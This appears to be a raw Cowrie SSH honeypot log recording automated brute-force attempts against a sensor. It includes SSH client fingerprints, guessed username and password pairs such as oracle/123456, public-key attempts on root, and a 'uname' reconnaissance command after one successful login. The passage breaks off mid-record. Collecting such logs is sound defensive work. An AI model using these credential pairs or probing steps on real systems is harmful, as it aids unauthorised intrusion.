{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:40.356069Z","src_ip":"45.153.34.114","session":"dd1741487d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:40.618162Z","src_ip":"45.153.34.114","session":"dd1741487d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:41.712082Z","src_ip":"45.153.34.114","session":"dd1741487d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38902,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba08ae2f753e","protocol":"ssh","message":"New connection: 45.153.34.114:38902 (159.203.135.109:22) [session: ba08ae2f753e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:48.365039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:48.372715Z","src_ip":"45.153.34.114","session":"ba08ae2f753e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:48.461196Z","src_ip":"45.153.34.114","session":"ba08ae2f753e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:48.784662Z","src_ip":"45.153.34.114","session":"ba08ae2f753e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":50496,"dst_ip":"159.203.135.109","dst_port":22,"session":"20571c87a5df","protocol":"ssh","message":"New connection: 103.75.199.4:50496 (159.203.135.109:22) [session: 20571c87a5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:48.854231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:48.858795Z","src_ip":"103.75.199.4","session":"20571c87a5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:48.949802Z","src_ip":"103.75.199.4","session":"20571c87a5df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:49.225549Z","src_ip":"103.75.199.4","session":"20571c87a5df","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:49.435420Z","src_ip":"103.75.199.4","session":"20571c87a5df","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:49.438454Z","src_ip":"103.75.199.4","session":"20571c87a5df","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:49.531675Z","src_ip":"103.75.199.4","session":"20571c87a5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:49.535678Z","src_ip":"103.75.199.4","session":"20571c87a5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:49.872722Z","src_ip":"45.153.34.114","session":"ba08ae2f753e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50990,"dst_ip":"159.203.135.109","dst_port":22,"session":"a37e805c8773","protocol":"ssh","message":"New connection: 45.153.34.114:50990 (159.203.135.109:22) [session: a37e805c8773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:56.584997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:56.589845Z","src_ip":"45.153.34.114","session":"a37e805c8773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:56.672078Z","src_ip":"45.153.34.114","session":"a37e805c8773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:57.058093Z","src_ip":"45.153.34.114","session":"a37e805c8773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:51:58.280804Z","src_ip":"45.153.34.114","session":"a37e805c8773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.70.18","src_port":41776,"dst_ip":"10.17.0.5","dst_port":22,"session":"622a03a2a0c6","protocol":"ssh","message":"New connection: 148.135.70.18:41776 (10.17.0.5:22) [session: 622a03a2a0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:01.927495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:01.935450Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.004330Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:6e:cd:49:a0:df:38:7d:50:33:f1:5a:da:4f:4b:09","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJLmgMLktCTJsvUpLu1m+LBUA9oXyqNQsAv6miEDfCNf","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 42:6e:cd:49:a0:df:38:7d:50:33:f1:5a:da:4f:4b:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.322874Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:6e:cd:49:a0:df:38:7d:50:33:f1:5a:da:4f:4b:09","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJLmgMLktCTJsvUpLu1m+LBUA9oXyqNQsAv6miEDfCNf","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.326789Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:66:2a:f6:d6:bb:c6:2e:36:d4:2e:b0:2c:31:5f:94","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBr7fQuTNfXsA3gUT+aTLune+REcGh8F3AWgYGlUhia5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 49:66:2a:f6:d6:bb:c6:2e:36:d4:2e:b0:2c:31:5f:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.397737Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:66:2a:f6:d6:bb:c6:2e:36:d4:2e:b0:2c:31:5f:94","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBr7fQuTNfXsA3gUT+aTLune+REcGh8F3AWgYGlUhia5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.401906Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:86:59:12:f8:95:35:65:a1:82:d7:71:73:90:fb:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7ViuJUCU7bVUUzLlWZx+PlGkr1AOFDZK7TrSjUM+auQfu1nG4E1oeGEBO9b4CeLVvZNK1Y2651T9aBpWdMJjXdcEQ6S1Efy5eZL5BIPI4AB2xoUXxmkrGbBbbymFS1mFqfM0mY96YXKktpMii5Sr6EppxGIH/HA7PP23WrR6CR1d9xB4Qc9D+hkCCSUtmKQhmsRfL0GxneM57aOdBvvlu8kLiw5l9c+cBSbp9w+yGfsI11yzoNeqXMgksb1+aRM0lMKV3YP3fkaP3tfi9OKfr/CPN1S7TOwJ9jsHuvzfm+ovElPJkwBDFC12MP0oaYDKNVW+gdZfI7PKKRxsqrSpf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:86:59:12:f8:95:35:65:a1:82:d7:71:73:90:fb:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.480260Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:86:59:12:f8:95:35:65:a1:82:d7:71:73:90:fb:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7ViuJUCU7bVUUzLlWZx+PlGkr1AOFDZK7TrSjUM+auQfu1nG4E1oeGEBO9b4CeLVvZNK1Y2651T9aBpWdMJjXdcEQ6S1Efy5eZL5BIPI4AB2xoUXxmkrGbBbbymFS1mFqfM0mY96YXKktpMii5Sr6EppxGIH/HA7PP23WrR6CR1d9xB4Qc9D+hkCCSUtmKQhmsRfL0GxneM57aOdBvvlu8kLiw5l9c+cBSbp9w+yGfsI11yzoNeqXMgksb1+aRM0lMKV3YP3fkaP3tfi9OKfr/CPN1S7TOwJ9jsHuvzfm+ovElPJkwBDFC12MP0oaYDKNVW+gdZfI7PKKRxsqrSpf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.485026Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:05:f5:16:b8:34:e3:58:95:87:7c:5d:31:9e:82:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8Dqrs2L+xi48Cn8hW45QpWGErnjNS0z+yPxZr3lq1LsqZ+FEzQMRrGh/XRFoxHxdOygIcqeBe1Wv6xkIPZAoe8PkYz5xwYre6zEZ+bWA9dC5aKsue/nscIAY7mSV8njhriEEI4NM1RT2VTa31S8bfeIB1rsg44ZtrulQedRpkmq3LDwLCTqKRPg/CAKVx9mxZU/ukPwiRRaO+zGP3qiDnhGVdzSuM24aX/lwneCahjzpy+G2WCOdDTb5u+jAuDjSlZWZyC+PnsSvgMnqHYiWnJVMzyjje5kDZf5ONRTBO5+atC/WSvLjA0LrmSqDa9dyHou1Tmsi3Zb3/mgxLhWQOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:05:f5:16:b8:34:e3:58:95:87:7c:5d:31:9e:82:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.555658Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:05:f5:16:b8:34:e3:58:95:87:7c:5d:31:9e:82:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8Dqrs2L+xi48Cn8hW45QpWGErnjNS0z+yPxZr3lq1LsqZ+FEzQMRrGh/XRFoxHxdOygIcqeBe1Wv6xkIPZAoe8PkYz5xwYre6zEZ+bWA9dC5aKsue/nscIAY7mSV8njhriEEI4NM1RT2VTa31S8bfeIB1rsg44ZtrulQedRpkmq3LDwLCTqKRPg/CAKVx9mxZU/ukPwiRRaO+zGP3qiDnhGVdzSuM24aX/lwneCahjzpy+G2WCOdDTb5u+jAuDjSlZWZyC+PnsSvgMnqHYiWnJVMzyjje5kDZf5ONRTBO5+atC/WSvLjA0LrmSqDa9dyHou1Tmsi3Zb3/mgxLhWQOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.564240Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:41:25:d4:a8:28:2c:3e:7b:3a:2c:01:ce:0d:1d:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArbMbNIs+2Qw+6dljoVPW6YT0nb0V+3IlNx9560thGPHEhhJvgvIe8IKHTQdB5A9T08WQTErYwOyF3bK+mOyYqeqEDZ0FALySjE3n56myvBiKES7brKdL7ZqZNxa6ysmRED8uQluodO8olqydWit7tVA9XOvqoap6aJeHzxf1dTlKvpJiTKU2ou23X/eUsuDp2CqFGSy3bwR1xI07C+3XqWJX/ADHvD7GmGhmOEWwZkDm4HahkmyerjxT2A0ouPPsAbowUBduSWe8j+eB8YqH/QhXaqhDVbYDaGMpw5wee2X/dmz1R7oVYRzqZLKdyGbv5/G+b1g3cMG4JQP9PXw6WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:41:25:d4:a8:28:2c:3e:7b:3a:2c:01:ce:0d:1d:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.636496Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:41:25:d4:a8:28:2c:3e:7b:3a:2c:01:ce:0d:1d:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArbMbNIs+2Qw+6dljoVPW6YT0nb0V+3IlNx9560thGPHEhhJvgvIe8IKHTQdB5A9T08WQTErYwOyF3bK+mOyYqeqEDZ0FALySjE3n56myvBiKES7brKdL7ZqZNxa6ysmRED8uQluodO8olqydWit7tVA9XOvqoap6aJeHzxf1dTlKvpJiTKU2ou23X/eUsuDp2CqFGSy3bwR1xI07C+3XqWJX/ADHvD7GmGhmOEWwZkDm4HahkmyerjxT2A0ouPPsAbowUBduSWe8j+eB8YqH/QhXaqhDVbYDaGMpw5wee2X/dmz1R7oVYRzqZLKdyGbv5/G+b1g3cMG4JQP9PXw6WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.654435Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:02.733242Z","src_ip":"148.135.70.18","session":"622a03a2a0c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47818,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ea4cab32ab3","protocol":"ssh","message":"New connection: 45.153.34.114:47818 (159.203.135.109:22) [session: 6ea4cab32ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:04.845093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:52:04.850494Z","src_ip":"45.153.34.114","session":"6ea4cab32ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","s